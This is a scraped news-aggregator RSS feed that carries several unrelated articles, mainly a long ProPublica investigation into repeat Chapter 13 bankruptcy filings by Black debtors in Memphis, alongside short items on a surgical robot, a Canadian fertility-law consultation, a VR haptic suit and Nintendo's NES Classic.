According to TransEnterix, the company that developed the machine, it’s the first surgical assistant for the abdominal area to get the FDA’s approval since 2000. The company claims it’s also the first one with eye tracking and force feedback. As you can see above, surgeons sit behind a console with a 3D view of the site of operation to control three surgical arms. Senhance’s camera can follow their eye movements and show what they’d be looking at if they were manually performing the surgery on screen. The machine’s controllers can also make surgeons feel the stiffness of the tissue they’re operating on.

Now that Senhance has been approved by the FDA, you’ll likely start seeing it — from afar, we hope, and not while you’re on the operating table — in hospitals across the US. Here’s a sample procedure being performed with the machine’s help if you’d like to watch it in action.

Source: FDA, TransEnterix

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]]> https://briefnews.eu/fda-approved-robot-assistant-gives-surgeons-force-feedback/feed/ 0 Caught in the Bankruptcy Feedback Loop https://briefnews.eu/caught-in-the-bankruptcy-feedback-loop/ https://briefnews.eu/caught-in-the-bankruptcy-feedback-loop/#respond Wed, 27 Sep 2017 13:27:04 +0000 http://briefnews.eu/caught-in-the-bankruptcy-feedback-loop/ Novasha Miller pushed through the revolving doors of the black glass tower on Jefferson Avenue last December and felt a rush of déjà vu. The building, conspicuous in Memphis’ modest skyline along the Mississippi River, looms over its neighbors. Then she remembered: Years ago, as a teenager, she’d accompanied her mother inside.

Now she was 32, herself the mother of a teenager, and she was entering the same door, taking the same elevator. Like her mother before her, Miller was filing for bankruptcy.

She’d cried when she made the decision, but with three boys and one uneven paycheck, every month was a narrow escape. A debt collector had recently won a court judgment against her and, along with that, the ability to seize a chunk of her pay. Soon, she would be forced to decide between groceries or electricity.

Bankruptcy, she figured, despite its stink of shame and failure, would stop all that. She could begin anew: older, wiser, and with a job at a catering company that paid $ 10.50 an hour, a good bump from her last one. She could keep dreaming of a life where she had money left over at the end of each month, a chance of one day owning a home.

What Miller didn’t know when she swallowed her pride and called a local bankruptcy attorney is that she would probably end up right back where she started, with the same debts, in the same crisis. For the black debtors who, for generations, have made Memphis the bankruptcy capital of the U.S., the system delivers neither forgiveness nor renewal.

Up on the sixth floor of that tower where I met Miller last February, the U.S. Bankruptcy Court for the Western District of Tennessee appeared to be a well-functioning machine. Debtors, nearly all black like her, crowded the wedge-shaped waiting area as lawyers, paralegals, and court staff, almost all white, milled about in front. Hundreds of cases are filed here every week, and those who oversee and administer the process all proudly note the court’s marvelous efficiency. Millions of dollars flow smoothly to creditors, to the court, to bankruptcy attorneys.

But the machine hides a harsh reality. When ProPublica analyzed consumer bankruptcy filings nationwide, the district stood out, both for the stunning number of cases in which debtors were unable to get relief, and for the reasons why. In Memphis, an entrenched legal culture has made bankruptcy a boon for attorneys while miring clients like Miller in a cycle of futility.

Under federal bankruptcy law, people overwhelmed by debt have a choice: They can either file under Chapter 7, which wipes out debts and, since most filers lack significant assets, allows them to keep what little they have. Or they can choose Chapter 13, which usually requires five years of payments to creditors before any debts are eliminated, but blocks foreclosures and car repossessions as long as debtors can keep up. In most of the country, Chapter 7 is the overwhelming choice. Only in the South, in a band of states stretching from North Carolina to Texas, is Chapter 13 predominant.

The responsibility of knowing which path to pick falls to those seeking relief. In Memphis, about three-quarters of filings are under Chapter 13. That’s how Miller filed. She thought the two chapters were “the same,” she told me.

Initially, they are. Upon filing, debtors are shielded from garnishments and debt collectors. But whereas under Chapter 7 those protections are generally made permanent after a few months, under Chapter 13 they last only as long as payments are made. Most Chapter 13 filers in Memphis don’t last a year, let alone five.

As efficiently as cases are opened, they are closed—usually because debtors fail to keep up with payments, according to a ProPublica analysis of court data. In 2015, over 9,000 cases in the district were dismissed—more cases than were filed in 22 other states that year. Less than a third of Chapter 13 cases in the district result in a discharge of debts. And when their cases are dismissed, debtors are often in worse straits, because as they struggled to make payments, the interest on their unpaid debts continued to mount. Once the refuge of bankruptcy is gone, the debt floods back larger than ever. They’ve borne the costs of bankruptcy—attorney and filing fees, a seven-year flag on their credit reports—without receiving its primary benefit. A system that is supposed to eliminate debt instead serves to magnify it.

Driving this tremendous churn of filings is a handful of bankruptcy attorneys with what sounds like an easy pitch: immediate relief, for free. In Memphis, it typically costs around $ 1,000 to hire an attorney to file a Chapter 7, but most attorneys will file a Chapter 13 for no money down. Ultimately, the fees for Chapter 13 filings are higher—upwards of $ 3,000—but the payments are stretched over time. For many people, this is the only option they can afford: debt relief on credit. For attorneys, they gain clients—and a regular flow of fees—they might not otherwise get, even if few of their clients get lasting relief.

For black filers in Memphis, relief is particularly rare. They are more likely than their white peers to file under Chapter 13 and less likely to complete a Chapter 13 plan. Because failure is so frequent in Memphis, many people file again and again. In 2015, about half of the black debtors who filed under Chapter 13 in the district had done so at least once before in the previous five years. Some had filed as many as 20 times over their lifetimes. Here, bankruptcy is often not the one-time rescue it was envisioned to be, but rather a way for the poor to hold on to basic necessities like electricity for a couple months.

“The way we have it set up, our culture, has a lot of unintended consequences,” said Judge Jennie Latta, one of five bankruptcy judges in the Western District of Tennessee. Since 1997, when she took the bench, the racial disparities in Memphis have been evident, she said. “It was troubling to me then, and it’s still troubling to me.”

When I asked judges, trustees (who administer the cases), and debtor attorneys what could be done to reduce racial disparities and improve outcomes, I was mostly met with resignation. I heard a lot about the poverty in Memphis and a legal culture with deeply rooted traditions. But ProPublica’s analysis identified bankruptcy attorneys in Memphis who had much more success in getting their black clients out of debt. These attorneys had a different approach, preferring Chapter 7 to Chapter 13, and, crucially, allowing more flexibility in what clients paid up front in fees.

Scrutiny of Memphis is important, because the racial differences there are present across the country. Nationally, the odds of black debtors choosing Chapter 13 instead of Chapter 7 were more than twice as high as for white debtors with a similar financial profile. And once they chose Chapter 13, ProPublica found, the odds of their cases ending in dismissal—with no relief from their debts—were about 50 percent higher.

Meanwhile, the $ 0-down style of bankruptcy practiced in Memphis, long common across the South, is quietly growing in popularity elsewhere. Chicago in particular has seen an explosion of Chapter 13 filings in recent years. A recent study found that the “no money down” model is becoming more prevalent, prompting concerns that it is snaring increasing numbers of unsuspecting debtors and ultimately keeping them in debt.

* * *

About 10 miles south of the black glass tower lies the community of Whitehaven. Famous as the site of Graceland, Elvis Presley’s mansion, its streets are lined with miles of humbler homes, mostly one- or two-bedroom bungalows. The houses reflect the range of financial security among Whitehaven’s almost exclusively black residents: Some lawns are immaculately kept in front of neat, pretty facades, while others run riot with weeds next to broken-down cars.

This is where Novasha Miller was born and raised. She went to Hillcrest High on Graceland Drive and still lives in the area. Here, bankruptcy has a startling ubiquity. Count the bankruptcies filed from 2011 through 2015 by residents of Whitehaven, and there is almost one for every three households.

Miller’s spiral downward began in late 2014, when she and her sons moved into a $ 545-per-month apartment in Highland Meadows, a complex pitched on its website as nestled in a “serene woodland setting.” Inside, roads wander around shaded clusters of two-story structures, some with boarded-up doors and windows.

Miller soon realized signing the lease was a mistake. Roaches emerged every time she cooked, she said. Underneath the kitchen sink, mold was spreading that seemed to aggravate her 10-year-old son’s asthma. The stove broke; then bedbugs arrived, leaving telltale marks up and down her and her boys’ arms.

Despite her calls and complaints, she said, management didn’t fix the mold issue and told her she’d have to pay for an exterminator herself. Finally, she decided to move. She wrote a letter saying she was breaking her lease and explaining why. “My kids’ health is more important than anything, and I just had to leave,” she told me. (The company that manages Highland Meadows did not respond to requests for comment.)

A couple of months after she moved, Absolute Recovery Services, a collection agency, sent her a letter saying she owed $ 5,531—a total that seemed inflated to Miller. If she didn’t pay up immediately, the agency wrote, it might sue. It followed through the next month, tacking on a $ 1,844 attorney fee, for a total bill of $ 7,375.

Derek Whitlock, the attorney who represented Absolute Recovery Services in its suit against Miller, provided ProPublica with an accounting of Miller’s debt. Only $ 1,635 was due to back rent; the rest stemmed from eight different types of fees—all of which, Whitlock said, Miller had “contractually agreed to.” Miller’s lease had also stated that residents were “responsible for keeping the premises free from infestation of pest, etc.,” he said.

With no attorney to represent her, Miller went to court. Delayed by a search for parking, she missed her case, and Absolute Recovery won a judgment against her. A court employee told her the agency could soon move to garnish her paycheck, she said.

Under Tennessee law, debt collectors can seize up to a quarter of debtors’ take-home pay, and in Shelby County, which contains Memphis, they sought to do so in over 21,000 cases in 2015, according to a ProPublica analysis of court records. Such garnishments are far more common in black neighborhoods.

“I cried, stressing at work,” said Miller. “I couldn’t work, trying to figure out what to do.” At the time, Miller earned $ 9 an hour working for a catering company where her hours were often cut without warning. Although she’d never had an extended stretch of unemployment, the last several years had been a struggle. She still carried $ 19,000 in student loans from a cosmetology program, and a $ 1,100 loan from a car-title lender, TitleMax, which she’d used to cover one month’s shortfall. TitleMax routinely lends at annual interest rates above 150 percent in Tennessee, and every month Miller had to come up with about $ 100 in interest to keep the company from seizing her 2003 Pontiac Grand Prix. If Absolute Recovery garnished her wages, Miller stood to lose her apartment, her electricity, or the car she drove to work.

The pressure, she said, pushed her into bankruptcy court. “It’s hard out here,” she said. “I hate that I had to go through it just to keep people from garnishing my check.” She Googled “bankruptcy attorney” and landed on the website of Arthur Ray, who has been practicing in Memphis since the 1970s. His website was topped with “$ 0” in large type: “Most of our Chapter 13 bankruptcies are filed for $ 0 attorney’s fee up front.” She called and made an appointment.

* * *

Earlier this year, I headed to Memphis to meet people like Miller and find out why attorneys there kept funneling their black clients into Chapter 13 plans when so few could complete them. I came armed with what amounted to a score sheet for each attorney, showing how their black and white clients had fared. ProPublica had taken every case filed in the district over 15 years, paired it with census information, and put it on a map. In a starkly segregated city like Memphis, we could deduce the race of their clients with confidence based on where they lived.

I caught up with Ray by phone. Like most of the higher volume lawyers in the district, Ray is white and most of his clients are black. About nine out of every 10 of his cases is a Chapter 13. And he was twice as likely to file under Chapter 7 for a white client as he was for a black client.

None of this troubles Ray in the least. If Chapter 13 has an evangelist, it’s Ray, who trumpets its attributes unapologetically. In his eyes, debtors need Chapter 13 to train them to get their financial houses in order and instill discipline on their unruly spending. “A Chapter 13 shows people how to live without buying things for that 60-month plan,” he said. “With a Chapter 7, wham bam it’s over, and they’re back to the same old thing, the bad habits that got them in trouble to begin with.”

When debtors squander Chapter 7’s power to erase debt, he argued, they are stuck—barred from filing again for eight years. Better to keep that option in reserve for something truly catastrophic, he said.

Ray conceded that most of his clients do not successfully complete their Chapter 13 plans, but he argued that wasn’t so bad. “It may be a long time before the creditors come after them,” he said. And when the phone calls and the legal notices do come back, “then they can file again.”

I told Ray that Novasha Miller hadn’t understood the difference between the two chapters. Ray was not troubled by this either. As required by law, he said, he provides clients with documents explaining the difference, but any client who asks about Chapter 7 will get an argument from him. “They need to learn how to live not buying things on credit,” he said.

Few attorneys are likely to express this paternalistic view as bluntly as Ray, but the idea that bankruptcy courts should rehabilitate debtors instead of simply freeing them of their debts dates back to the 1930’s, when, buoyed by creditors’ lobbying efforts, Chapter 13 first became law. It’s a form of bankruptcy that sprang from the South: Started as an experiment by the bankruptcy court in Birmingham, Alabama, it was added to the federal bankruptcy code through a bill authored by a Memphis congressman. To this day, many see Chapter 13 as the more honorable form of bankruptcy because it includes some attempt to repay debts.

But when I asked some of Ray’s colleagues why so many of their clients filed under Chapter 13, honor was rarely mentioned. Instead, they said it was about holding on. “Chapter 13 is generally a ‘keep your stuff’ chapter,” is how Bert Benham, a Memphis bankruptcy attorney, put it.

Most people who end up filing in the district don’t own much. In 2015, 69 percent of those who filed under Chapter 13 didn’t own a home, and the median, or typical, income was less than $ 23,000 per year.

For many people, the most important thing is keeping their car, a necessity in Memphis, which has little public transportation. Used-car lots abound, offering subprime credit. When borrowers fall behind and lenders threaten repossession, Chapter 7 won’t stop that from happening. But Chapter 13 allows secured debts to be repaid over the course of the plan. In theory, loan payments on a car or mortgage can be reduced to an affordable level, providing time to catch up without fear of repossession or foreclosure.

Lured by this promise, desperate Chapter 13 filers can spend years caught in a loop. One Whitehaven resident told me how, in order to hold on to her car, she’d filed under Chapter 13 four times since 2011. The first time, she lost her job a year and a half after filing, and her case was dismissed after she fell behind. She immediately filed again to keep the car for job interviews, using unemployment benefits to make the payments until she couldn’t. She then filed a third time. Finally in 2014, after her third dismissal, she got a new part-time job paying $ 11 an hour and filed again.

She still has two years of payments to go and will have spent most of her 30s trying to hold on to her car. “If I’d known,” she said, “I just would have let my car go.”

Bernise Fulwiley, who is 60, filed for Chapter 13 in 2014 to avoid foreclosure on her home, a brick bungalow with a large maple in the yard on a corner in Whitehaven. The following year, she lost her warehouse job when she required foot surgery and couldn’t keep up her payments. She got another warehouse job, earning $ 9.50 an hour, and filed again. She has kept up the payments for two years, and is determined to make it for three more.

“‘God, go before me. Open this door! Help me, Lord!’ That’s been my prayer,” she said. “I ain’t gonna never give up.”

For decades, the most prolific bankruptcy firm in Memphis has been Jimmy McElroy’s, known for its long-running TV commercials featuring the now-deceased Ruby Wilson, a legendary blues and gospel singer dubbed the Queen of Beale Street. At the end of 30-second spots, she exclaimed, “Miss Ruby sings the blues, and you don’t have to!”

McElroy, a mild-mannered white man in his 70s with a genteel lilt to his speech, told me that “the ultimate success” for a Chapter 13 filing is “to pay it out, get a discharge, get out of debt. And then learn to live within your means.” From 2011 through 2015, McElroy’s firm filed over 8,000 Chapter 13 cases and fewer than 900 Chapter 7 cases. About 80 percent of his clients come from predominantly black neighborhoods.

But “ultimate success” is rare at his firm. Only about one in five of the Chapter 13 cases filed by his black clients reached discharge, a rate typical for the district. When I asked why, McElroy, whose office is in the same tower as the bankruptcy court, said clients generally “get the temporary relief they needed,” but then things just happen: “They lose their job. They get sick. They get a divorce.”

Sometimes Chapter 7 does seem like a better choice, he said, but the client can’t afford to pay the attorney fee, which, at his firm, is about $ 1,000. In those cases, he’ll advise them to start with a Chapter 13, since it’s “more affordable to get into,” he said. “I tell them … ‘If you get in a better situation, we can convert later.’”

Debtors are, indeed, allowed to switch from Chapter 13 to Chapter 7 after their cases have begun, although it typically requires paying an additional attorney fee. But this rarely happens in the district. Only about 5 percent of Chapter 13 filings since 2008 converted to Chapter 7, according to our analysis. For McElroy’s firm’s cases, it was 2 percent.

* * *

Often in Memphis, the whole goal of bankruptcy is just to address basic needs, even if only for a month or two. Last year, Memphis Light, Gas and Water (MLGW) cut off customers’ electricity for nonpayment 98,000 times. It’s an “astoundingly high” number given that Memphis provides electricity to fewer than 400,000 customers and “far higher than any other large urban utility that I’ve seen,” said John Howat, a senior energy analyst with the National Consumer Law Center.

Nearly half the Chapter 13 cases filed by black residents in the district had utility debt, ProPublica’s analysis of 2010 filings found. The typical debt with the utility company was $ 1,100. For customers with poor credit, the utility has a policy of disconnecting service within a couple months if the arrears grow beyond $ 200.

MLGW does offer programs for low-income customers and installment plans for those who fall behind. “We have probably some of the most liberal customer-assistance programs of any utility in the country,” said Gale Carson, spokeswoman for MLGW. But that assistance is limited to just a few thousand households. And the installment plans require customers to make the payments in addition to their normal monthly bills. By declaring bankruptcy, debtors can start a monthly Chapter 13 plan tied to their income and get the power turned back on within a month or so.

In February, I visited Michael Baloga, an attorney at Long, Umsted, Jones & Kriger, at the firm’s downtown storefront, just down the street from the Shelby County Jail and next door to a bail bond agent. “Chapter 13 bankruptcy can be a necessary evil at times,” he told me. “Like, for today, there are people who are coming in because it’s cold, and they don’t have electricity.”

Baloga said he didn’t like to file cases just for that reason. “But on the other hand, am I going to let them sit and freeze in their home because they don’t have it? … I know that they’re going to file the bankruptcy and that they’re not going to stay in it very long. In the alternative, am I just going to turn them away and say, ‘No, you’re not going to get a chance at all?’”

For the firm’s predominantly poor and black clientele, the chances are remarkably low: Only one in 10 of the cases result in a discharge. Most don’t last six months.  Using bankruptcy this way “seems like using a sledgehammer to hang a picture,” said Judge Latta. But she understands why debtors do it. “I think bankruptcy, in Memphis anyway, is very much part of the social safety net,” she said, “and all these problems fall down into it.”

About 18,000 times each year, Tennessee suspends the driver’s license of a Shelby County resident for failing to pay a traffic fine, according to state data obtained by Just City, a Memphis nonprofit advocacy organization. About 84 percent are black drivers, although only half of Shelby County’s residents are black.

In 2010, about a quarter of black residents filing Chapter 13 had outstanding debt with the Shelby County General Sessions Criminal Court, which handles mostly misdemeanors and traffic offenses, ProPublica’s data shows. Their typical debt was around $ 1,600.

Court officials said licenses are only suspended if defendants fail to pay fines within 12 months. The court offers installment plans, including one called the Driver’s Assistance Program that allows drivers to regain their licenses. But only about 230 people were enrolled in the program as of March, they said.

For those who can’t afford or don’t qualify for the court’s programs, Chapter 13 provides an answer. They can get their licenses reactivated within a matter of months and stretch payments over five years, if they make it that long. Such fines can’t be eliminated through Chapter 7.

In Chicago, similar pressures have led to a recent boom in Chapter 13 filings. Chapter 13 filings by black residents in the Northern District of Illinois rose 88 percent from 2011 to 2015, ProPublica found. There, a big issue is parking tickets, according to ProPublica’s analysis and a recent academic study of filings in Cook County. But, like Memphis, it’s overwhelmingly black debtors who file for Chapter 13 to forestall license suspensions or car seizures.

Black households are particularly vulnerable to financial difficulties like these. They have less income, fewer assets, and less financial stability than white ones—all deficits with deep roots. When they are hit with financial emergencies (a cut in pay, a needed car repair), they are less likely to have the resources to withstand them. The same vulnerabilities that make black Americans more likely to file for bankruptcy make them less likely to succeed in bankruptcy.

In Memphis, that means the debtors who use the bankruptcy system the most—low-income black debtors—fare the worst. “I say all the time that in Memphis, debtors don’t earn a living wage,” said Sylvia Brown, one of the two trustees for Chapter 13 cases in Memphis.

* * *

A few floors above the bankruptcy court are the offices of Cohen & Fila, a firm with a mostly poor clientele and one of the highest-volume practices in the district. I asked Tom Fila, a Yankee transplant who has practiced bankruptcy law in Memphis for more than 20 years, about one of his clients: The firm had filed 17 cases on her behalf, all but two under Chapter 13. She was one of at least 465 people who had filed for bankruptcy 10 or more times in the district between 2001 and 2015, ProPublica’s analysis found. These repeat filers tend to be among the poorest.

Fila bristled at the implication that his firm had filed the cases for any reason but the best interest of the client. “I’m not making money on these cases, and I probably shouldn’t file them,” he told me. “I often tell my clients that repeated filings aren’t doing them any good. They are ending up in the same spot they started in, only now they have multiple bankruptcy cases on their credit report … but at the end of the day I’m not the one living without utilities or being evicted or being without transportation.”

Of course, most of the time attorneys in the district do get paid something. When ProPublica analyzed the Chapter 13 cases filed in 2010, it was found that, on average, attorneys in the district collected $ 1,340 per case out of their full $ 3,000 fee. Some firms, like Fila’s, collected much less (about $ 700), and some collected more.

But what has made bankruptcy a viable business for the biggest firms in Memphis for so long is the sheer volume. From the 12,000-plus Chapter 13 cases they filed in 2010, ProPublica estimates that attorneys reaped at least $ 16 million in attorney fees over the next five years. McElroy’s firm, the largest, collected at least $ 2 million.

Things have worked this way in the district for as long as anyone can remember. The district’s chief judge, David Kennedy, who has presided over cases since 1980, said attorneys have been charging $ 0 down to file Chapter 13s at least since the 1970s.

He sees no clear need for reform. Chapter 13 “provides, I think, better relief, depending on the circumstances,” he said, adding that the large number of dismissals is not necessarily bad. “Just because it doesn’t go to discharge doesn’t mean it’s a failed case.” A homeowner might file Chapter 13 to stop a foreclosure, he said, then use the breathing room to work out a loan modification with the mortgage servicer and drop the case voluntarily. That undoubtedly does happen. But most debtors in the district don’t own a home.

Judge Latta said efforts to help the poor file under Chapter 7 for free have met with resistance. “We get a lot of pushback on pro bono programs here,” she said. “[Attorneys] say, ‘But, judge, we can put them in a Chapter 13, and we can get paid for that.’”

It’s no secret in Memphis that bankruptcy works differently outside the South, but the scope of that contrast is staggering. In 2015, for example, there were 9,000 Chapter 13 cases filed in Shelby County, while in Brooklyn, New York, there were fewer than 300. Brooklyn has a similar poverty rate, median income, and higher housing costs. Like Shelby County, it has a large black population. It also has 1.6 million more people.

What’s the biggest difference? How bankruptcy attorneys are paid. In Brooklyn, attorneys usually ask for around $ 2,000 up front to file a Chapter 13, said Michael Macco, a trustee in the Eastern District of New York. As a result, poorer households simply can’t afford to file. The typical Chapter 13 debtor who hired an attorney in Brooklyn in 2015 was a middle-income homeowner with $ 420,000 in assets—over 40 times more in assets than filers in Shelby County.

The reasons for vast differences like these among courts are largely arbitrary. While bankruptcy is a federal institution, ruled by laws made in Washington, D.C., each local court is essentially its own kingdom with its own customs shaped by the judges, trustees, and attorneys who work there. Scrutiny of these differences, and how they affect debtors, has been scant.

While judges like Kennedy are untroubled by the flood of unsuccessful Chapter 13s, ProPublica’s analysis found Memphis attorneys who have built successful bankruptcy practices in a different way. In an office park on the eastern edge of the city, I met Jerome Payne, who has filed more Chapter 7s on behalf of black clients than anyone in the district in recent years, despite not being in the top 10 firms in terms of total volume.

That alone would make Payne stand out. But Payne is also, unlike all but a few debtor attorneys in Memphis, black. A cop-turned-nurse-turned-attorney, Payne, who is 66, has been practicing bankruptcy law in Memphis since the 1990s. Inside his office, the thick carpeting and friendly banter between Payne and his two long-standing employees give the place a homey feel, albeit a home with files stacked everywhere and large binders labeled “GARNISHMENTS” spilling out of a cabinet.

African American identity is a major part of his practice. When his firm sends out letters to prospective clients—usually people who have been sued over a debt—he tries to make sure they know. “I use black heritage stamps,” he said. Sometimes he uses Kwanzaa stamps. He includes a page with inspirational sayings, like one with a quote from Marcus Garvey, a leader of the Black Nationalist movement, who is depicted with his body in the shape of Africa. The emphasis on blackness is not just a marketing gimmick, he said. Because the clients are “people who look like me,” he said, “they feel more comfortable with me.”

And that, he said, may help in convincing debtors that Chapter 7 is a better choice. Payne’s challenge, he said, is getting them “to take the emotions out of a home, the apartment, out of the vehicle” and decide that they are better off without the debt. This discussion is what he calls his “come-to-Jesus meeting.” Contrary to Arthur Ray’s emphasis on teaching his clients financial discipline through five years of payments, Payne promotes the discipline of letting go of possessions they can’t afford. “Me being African-American, and me understanding my community, maybe I’ve been more successful in showing them that this is not the way you ought to go,” he said.

Crucially, Payne also approaches fees differently. Whether it’s a Chapter 7 or Chapter 13, the down payment is usually a couple hundred dollars, and his clients can pay the remainder in installments. He doesn’t file Chapter 13 cases for no money down, because he just doesn’t like the idea. And he has an employee, instead of him, discuss fee arrangements with clients, he said, because “I found that it colors the way that I do business.”

Brad George is another attorney in the district who often files Chapter 7 cases for his clients. His approach is simple. “It’s not rocket science—I can tell you that,” said George, who is white and has practiced bankruptcy in Memphis for 20 years. If there is a good reason to do a Chapter 13, like a threatened foreclosure or driver’s license issue, then he will file that way. Otherwise, he said, “I think you should try and always, always, always do a [Chapter 7].”

To file a Chapter 7 with George, it costs the debtor $ 555, with most of that due up front. That is about half of what many other attorneys charge in Memphis. But, to George, it just seems like enough. “I figure I spend about two hours on average per Chapter 7 [case],” he said. “So that’s pretty fair, I’d say.”

George also doesn’t file Chapter 13 cases for no money down, instead asking for around $ 200 dollars, giving his clients a much more balanced choice between how much money they have to come up with to file Chapter 7 versus Chapter 13.

George’s black clients file under Chapter 7 almost half the time, according to ProPublica’s analysis, a rate that is almost two and a half times what is typical in the district. There is also little racial disparity in what portion of his black and white clients end up in Chapter 7. Payne and George agree that their flexibility with fees is likely a key reason they are able to file more Chapter 7 cases for black clients.

There are understandable reasons why attorneys tend to be less flexible with Chapter 7 fees. When debtors receive a discharge of their debts at the end of the case, outstanding fees to their attorneys are also wiped out. Any further payments are voluntary. As a result, debtor attorneys—in Memphis or anywhere else—generally require the entirety of their fee up front. To address this problem, some scholars have called for Congress to change the law to make attorney fees clearly exempt from discharge.

Such a change could have a large effect. The firm that files the most bankruptcy cases in Atlanta, for example, files Chapter 7 cases for $ 0 down, with the entirety of the fee due through an installment plan that lasts several months. The chief judge in the Northern District of Georgia has ruled that such arrangements are legal, and other large firms in the Atlanta area have adopted the practice.

The result is clear. In the heart of the South, most of the filings in the Northern District of Georgia are under Chapter 7—compared to less than 30 percent in the rest of the state. And notably, black debtors in that district file under Chapter 7 almost half the time, a rate significantly higher than even the white debtors in the Western District of Tennessee.

* * *

For now, things in Memphis continue as they seemingly always have. In April, less than six months after it began, Novasha Miller’s Chapter 13 case was dismissed. Though she hasn’t heard anything yet, her old landlord’s collection agency is again free to attempt garnishment of her wages.

Miller said that a miscommunication with her attorney led to the dismissal. After she changed jobs again (the new one pays a little bit less, $ 9.36 an hour, but it’s full-time and she likes the people), she notified Ray’s office, she said, but the plan payments were never set up to be automatically withdrawn from her paychecks. However it happened, having paid about $ 600, all of which was absorbed by court and attorney fees, she was back to square one. Choosing Chapter 7 could have resulted in her emerging from bankruptcy with her student loan as her only remaining debt. Instead, her debts, having gone unpaid for months, were now larger—she’s not clear yet just how much—the interest applied as if the bankruptcy had never happened.

She is thinking of filing again, maybe with a different attorney. And hopefully, she said, this time it’ll work out.

Hannah Fresques, a reporter at ProPublica, oversaw data analysis for this story. Mike Tigas, a developer at ProPublica, contributed additional data-gathering.

Business | The Atlantic

]]> https://briefnews.eu/caught-in-the-bankruptcy-feedback-loop/feed/ 0 Health Canada seeks feedback on modernizing fertility act https://briefnews.eu/health-canada-seeks-feedback-on-modernizing-fertility-act/ https://briefnews.eu/health-canada-seeks-feedback-on-modernizing-fertility-act/#respond Wed, 12 Jul 2017 23:13:33 +0000 http://briefnews.eu/health-canada-seeks-feedback-on-modernizing-fertility-act/ Pregnant woman

Health Canada is inviting people to comment on its proposed changes to reimbursing egg donors and surrogates and other updates of its assisted reproduction regulation.

CBC | Health News

]]> https://briefnews.eu/health-canada-seeks-feedback-on-modernizing-fertility-act/feed/ 0 bHaptics’ TactSuit is VR haptic feedback done right https://briefnews.eu/bhaptics-tactsuit-is-vr-haptic-feedback-done-right/ https://briefnews.eu/bhaptics-tactsuit-is-vr-haptic-feedback-done-right/#respond Sun, 02 Jul 2017 21:14:31 +0000 http://briefnews.eu/bhaptics-tactsuit-is-vr-haptic-feedback-done-right/

Every now and then, we come across a new attempt to bring haptic feedback to VR, but we’ve yet to see one that’s fully convincing; those that are still around tend to be both pricey and far from ready for the market. Well, this is apparently no longer the case thanks to bHaptics. At HTC Vive X demo day in Shanghai, I got some hands-on time with this Korean startup’s TactSuit, a wireless kit consisting of a haptic mask (which is a rarity), two haptic sleeves and a haptic vest. The fascinating part here is that it comes with a total of 87 feedback points, which is a lot more generous than what the other suits offer. It’ll also cost less than its direct competitor, Nullspace VR’s $ 549 Hardlight suit which only has 16 feedback points.

The TactSuit’s 87 feedback points are powered by eccentric rotating mass vibration motors. These actuators are distributed as follows: there are seven on the face, 20 on the front of the vest, another 20 on the back, and 20 on each sleeve. The obvious advantage with such a high density of feedback points is that games can be programmed with refined haptic feedback for a more immersive experience.

In other words, rather than feeling one large pad vibrating somewhere on your body, you can actually make out the cutting lines of, say, a sword or even claws from an enemy creeping up behind you. To take this to the next level, games can even be programmed so that the same cutting pattern can be mirrored to both sides of the haptic vest, in order to simulate the feel of one being cut in half. Lovely, isn’t it?

Other interesting possibilities include having a snake slithering around your upper body, being punched in the face, sensing your weapon’s recoil, feeling an explosion’s blast wave and more. This can all be achieved by using bHaptics’ dedicated haptics editing software, which appears to be quite versatile and straightforward to use, plus it works in conjunction with Unity. In a demo video, I saw a programmer drawing simple haptic feedback paths and patterns across a grid of 20 points, with the option to adjust the force of each point or path, as well as the roughness of the vibration.

Unlike most of its competition, bHaptics’ TactSuit has already been tried and tested by many people. According to CEO Kiuk Gwak, almost 47,000 people used it between March and June as part of a horror game called Zombie Attack at Seoul’s Lotte World amusement park. Even nowadays, this three-minute game hosts over 500 players per day on average, and it’s apparently the most popular VR booth at the venue. “This is the ‘real VR’ that people are going to pay more [for],” Gwak added.

I was able to try the TactSuit with the same game at the HTC Vive X demo day, with the only difference being there was just one spot instead of the usual eight. The suit didn’t feel too heavy and the sleeves were easy to put on, but the only thing that bothered me was the haptic mask which forced me to take off my glasses. Luckily, I managed to get a good enough eyesight with some quick adjustments on the Vive headset.

The game itself was very much the usual horror affair, featuring a bunch of slow-moving zombies that eventually have you surrounded in some deserted theme park. I’d like to think that normally I wouldn’t be too bothered by such zombies, but with the TactSuit on my body, I found myself fearing for my life whenever I felt a strike on my back. As soon as I turned around, the bloody zombies were right in my face and boom! That was when I instinctively fired my shotgun into their ugly faces, and with the instantaneous recoil sensation on the haptic sleeves, those were definitely the most satisfying shots I had ever had in a VR game. Before long, I removed the headset and was greeted by a long line of curious folks waiting for their turn.

From a hardware standpoint, the TactSuit certainly succeeded in delivering an immersive experience as promised: the kit isn’t clunky, the haptic feedback execution is unique and, most importantly, I didn’t feel any delay. For its performance and sub-$ 549 price point, the TactSuit is by far the most promising haptic feedback suit to date. That said, don’t expect bHaptics to be selling to consumers any time soon. For now, it’s focusing on B2B while also selling to developers only, but that’s a good move — it’s all about getting as many games to support this suit as possible. If all goes well, you’ll be seeing TactSuits pop up in your local VR arcades in the near future.

Engadget RSS Feed

]]> https://briefnews.eu/bhaptics-tactsuit-is-vr-haptic-feedback-done-right/feed/ 0 Nintendo NES Classic feedback the new benchmark for SNES Mini launch? https://briefnews.eu/nintendo-nes-classic-feedback-the-new-benchmark-for-snes-mini-launch/ https://briefnews.eu/nintendo-nes-classic-feedback-the-new-benchmark-for-snes-mini-launch/#respond Sat, 17 Jun 2017 20:20:02 +0000 http://briefnews.eu/nintendo-nes-classic-feedback-the-new-benchmark-for-snes-mini-launch/

The Nintendo NES Classic was a huge success for the company but turned into a bit of a headache.

While it managed to sell well and proved very popular with fans, it appears that the enthusiasm shown by fans caught Nintendo off guard.

The Japanese games giant has said on several occasions that they were taken unawares by the sheer demand for the NES Classic Mini, which remained sold out pretty from the time it was released in 2016.

It became apparent that Nintendo hadn’t planned for a long production time on the tiny console and was forced to try and keep up with demand longer than they had wanted.

Since then, it’s been confirmed by several media sources that a SNES Mini is now being primed for launch.

July was the month that the NES Classic’s release date was announced, so it could be that we find out more then.

But before that, Nintendo appears to have signalled that they’ve learnt from their past endeavors, which hopefully means that things might go a little differently in the future.

In a recent interview, Nintendo’s Sales and Marketing head Doug Bowser explained what the impact of the NES’ popularity had on the company.

“We’ve learned a lot from the NES Classic,” he told Tech Crunch. 

“We’ve learned there’s a real passion for retro gaming.

“The NES Classic was originally intended to be a holiday item,” he continues. 

“And obviously there was high demand. So we doubled down and continued to produce it as we went into the next quarter. 

“But we decided we wanted to focus on other areas. So we’re not producing any more at this point. But we’ve learned a lot.”

